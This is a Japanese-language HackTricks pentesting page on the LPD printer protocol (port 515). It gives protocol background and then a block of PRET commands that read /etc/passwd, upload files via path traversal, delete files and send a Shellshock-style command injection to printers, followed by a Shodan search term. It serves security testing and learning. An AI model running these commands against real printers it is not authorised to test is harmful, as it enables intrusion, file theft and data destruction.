hacktricks/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

31 lines
2.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
### **LPDプロトコルの紹介**
1980年代に、**Line Printer Daemon (LPD)プロトコル**がバークレーUnixで開発され、後にRFC1179を通じて正式化されました。このプロトコルはポート515/tcpで動作し、`lpr`コマンドを通じての相互作用を可能にします。LPDを介した印刷の本質は、**制御ファイル**(ジョブの詳細とユーザーを指定するため)と**データファイル**(印刷情報を保持する)を送信することにあります。制御ファイルはデータファイルのための**さまざまなファイル形式**の選択を可能にしますが、これらのファイルの取り扱いは特定のLPD実装によって決まります。Unix系システムで広く認識されている実装は**LPRng**です。特に、LPDプロトコルは**悪意のあるPostScript**や**PJL印刷ジョブ**を実行するために悪用される可能性があります。
### **LPDプリンターとの相互作用のためのツール**
[**PRET**](https://github.com/RUB-NDS/PRET)は、`lpdprint``lpdtest`という2つの重要なツールを紹介し、LPD互換プリンターとの相互作用のための簡単な方法を提供します。これらのツールは、データの印刷からプリンター上のファイルの操作ダウンロード、アップロード、削除などまで、さまざまなアクションを可能にします。
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
**プリンターハッキング**の領域をさらに探求したい個人のために、包括的なリソースがここにあります: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page)。
# Shodan
- `port 515`
{{#include ../banners/hacktricks-training.md}}